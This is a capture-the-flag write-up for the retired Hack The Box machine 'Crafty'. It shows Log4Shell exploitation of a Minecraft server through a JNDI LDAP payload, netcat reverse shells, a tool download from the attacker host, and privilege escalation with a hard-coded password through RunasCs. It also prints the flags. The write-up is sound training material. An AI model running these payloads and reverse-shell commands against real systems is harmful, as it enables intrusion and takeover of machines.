> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/write-ups/htb-machines/crafty.md).
# Crafty (Easy)
## Description
* **Difficulty** **->** Easy
* **OS** **->** Windows
* **State** -> Retired
* **Tags ****->** Web Application / Injections / Common Applications / Remote Code Execution\
/ Hard-coded Credentials / Batch / Java
## Write-up
* I started doing an initial port scan using [*Nmap*](/hacking-knowledge/networks-wip/tools-and-utilities.md#nmap)
{% code lineNumbers="true" %}
```bash
nmap -p- -Pn --min-rate 2500 -oN scan.txt 10.129.230.193
```
{% endcode %}
***
* Then I did an exhaustive scan to learn more about the services running on the open ports
{% code overflow="wrap" lineNumbers="true" %}
```bash
nmap -p80,25565 -sVC -oN serv_scan.txt 10.129.230.193
```
{% endcode %}
***
* I found an HTTP service on port 80, so I tried accessing the content in the browser. I got redirected to the *crafty.htb* domain, but couldn't get the content. So I added it to my list of known hosts in the */etc/hosts* file and visited again, this time having access to a page about a server for the popular game *Minecraft*
{% code overflow="wrap" lineNumbers="true" %}
```bash
echo "10.129.230.193 crafty.htb" >> /etc/hosts
```
{% endcode %}
{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](/hacking-knowledge/networks-wip/protocols/http.md)
{% endhint %}
***
* I explored all the site buttons but got redirected to a *Coming Soon* page with no relevant info. The only interesting thing I found was a domain that, with the context of the page, should be for the *Minecraft* server that was running on the machine, as the previous scan also showed me
***
* As I didn't have the game, I tried finding an alternative way to interact with this server. After much searching, I found a [repository](https://github.com/MCCTeam/Minecraft-Console-Client) with a console client to interact with the *Minecraft* servers, which would log some interactions and let me send commands as if I were in the game. I downloaded the [last release](https://github.com/MCCTeam/Minecraft-Console-Client/releases/tag/20241227-281) on my machine and then executed the client, specifying an arbitrary username with no password and the target IP
{% code overflow="wrap" lineNumbers="true" %}
```bash
./MinecraftClient-20241227-281-linux-x64 KryptoCoder "" 10.129.230.193
```
{% endcode %}
***
* Now that I could interact with the server, I tried looking for any possible vulnerability related to this game version. After some research, I found an [official notification](https://www.minecraft.net/es-es/article/important-message--security-vulnerability-java-edition) about a previous security warning related to the [*Log4J*](https://logging.apache.org/log4j/2.x/index.html) logging library. It was vulnerable to the well-known *Log4Shell* vulnerability, so I started to find a way to exploit it, and fortunately, to facilitate the process, I found a [POC](https://github.com/kozmer/log4j-shell-poc) on *GitHub*
snippet
SNIPPET
***
* I downloaded it, checked its structure, and noticed something I had to modify. In line 26 of the script, it was spawning a */bin/sh* binary, but I changed it to *powershell.exe* as our target was a *Windows* machine. Then I set a listener with [*Netcat*](/hacking-knowledge/networks-wip/tools-and-utilities.md#netcat) to catch the connection and reviewed the parameters needed, setting my IP to make the request, an arbitrary port where the web server will be deployed, and the port where the listener was running
{% code overflow="wrap" lineNumbers="true" %}
```bash
nc -nvlp 4444
python3 poc.py --userip 10.10.14.137 --webport 8080 --lport 4444
```
{% endcode %}
{% hint style="success" %}
To learn more about the *Log4Shell* vulnerability and its exploitation, you can go [here](/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/cve-log4shell-wip.md)
{% endhint %}
***
* After executing it, I got several errors related to *Java*. I didn't understand what was wrong, so I reviewed the repository again and noticed that for this script to work, I would need a proper [JDK version](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html) in the repository. So I did that, with the JDK folder in the same place as the script was, and re-ran it this time, deploying everything without a problem
***
* After that, I inserted the payload for the *JNDI* communication in the client and checked the script, where I was notified about getting a request, confirming the request was sent properly, and with that, I caught a shell from the machine with the listener
{% code overflow="wrap" lineNumbers="true" %}
```bash
#Into the console client
> ${jndi:ldap://10.10.14.9:1389/a}
```
{% endcode %}
***
* Once inside, I went to the user's *Desktop*, where I found a *user.txt* file, and by reading its content, I retrieved the user flag
***
* With that, I got the user flag
> Answer: ***286dda4cbcfb299d664f02c2511a543***
***
* To find a way to escalate privileges, I started looking at the files under the server's folder. There I found files related to logs and configurations, but what caught my attention was the *plugins* folder, as they are usually added externally from the base software and are well-known for being vulnerable in various types of applications. Checking the content of this folder, there was a *playercounter* plugin that could be saving some interesting data about users
***
* I checked the permissions we had on the folder, but we didn't have writing permissions, so we couldn't export or copy the content of the file. So I went to the root folder and created a *Temp* folder, which would give me this advantage, then copied the file there and used [*certutil*](/hacking-knowledge/active-directory-hacking-wip/tools-and-utilities-wip.md#certutil) to encode its content to base64 to prepare it for the transfer
{% code overflow="wrap" lineNumbers="true" %}
```powershell
icacls playercounter-1.0-SNAPSHOT.jar
cd C:\
New-Item Temp -ItemType Directory
Copy-Item C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar .\plugin.jar
certutil -encode plugin.jar b64.txt
type b64.txt
```
{% endcode %}
***
* Having the encoded content, I copied it to a file on my machine and reversed the encoding process with the base64 command, saving its content again to a *.jar* file to have the same file again. Then I searched the web for a [Java Decompiler](https://jdec.app/) and uploaded the file, being able to see the source code of the executable
{% code overflow="wrap" lineNumbers="true" %}
```bash
nano plugin.txt #Here I pasted the b64 string
cat plugin.txt | base64 -d > plugin.jar
file plugin.jar
```
{% endcode %}
***
* I understood that this plugin was connecting to an *RCON* service and logging in locally using the *s67uB4zKqBIXw* password and then doing the counting process. This leaked a possible password for a user on the system, maybe for the *Administrator* user. So, to try logging in or, even better, to run commands as another user, I could try using the [*RunasCs*](/hacking-knowledge/active-directory-hacking-wip/tools-and-utilities-wip.md#runascs) utility. To do so, I downloaded the binary on my machine and exported it to the target
{% code overflow="wrap" lineNumbers="true" %}
```powershell
#On my machine
python3 -m http.server 8000
#On the target machine
wget http://10.10.14.10:8000/RunasCs.exe -outFile RunasCs.exe
```
{% endcode %}
***
* Then I set up another [*Netcat*](/hacking-knowledge/networks-wip/tools-and-utilities.md#netcat) listener and tried using the binary to generate a Reverse Shell, spawning a PowerShell that would connect to my machine, specifying the proper credentials. With that, I successfully gained a shell as the *Administrator* user
{% code overflow="wrap" lineNumbers="true" %}
```bash
#On my machine
nc -nvlp 7777
#On the target machine
.\RunasCs.exe Administrator s67uB4zKqBIXw powershell.exe -r 10.10.14.10:7777
```
{% endcode %}
***
* Finally, I went to the Desktop folder, where I found a *root.txt* file, and by reading its content, I retrieved the root flag
***
* With that, I got the root flag and pwned the machine
> Answer: ***ccd0681e8e2d4988e392984202922be3***
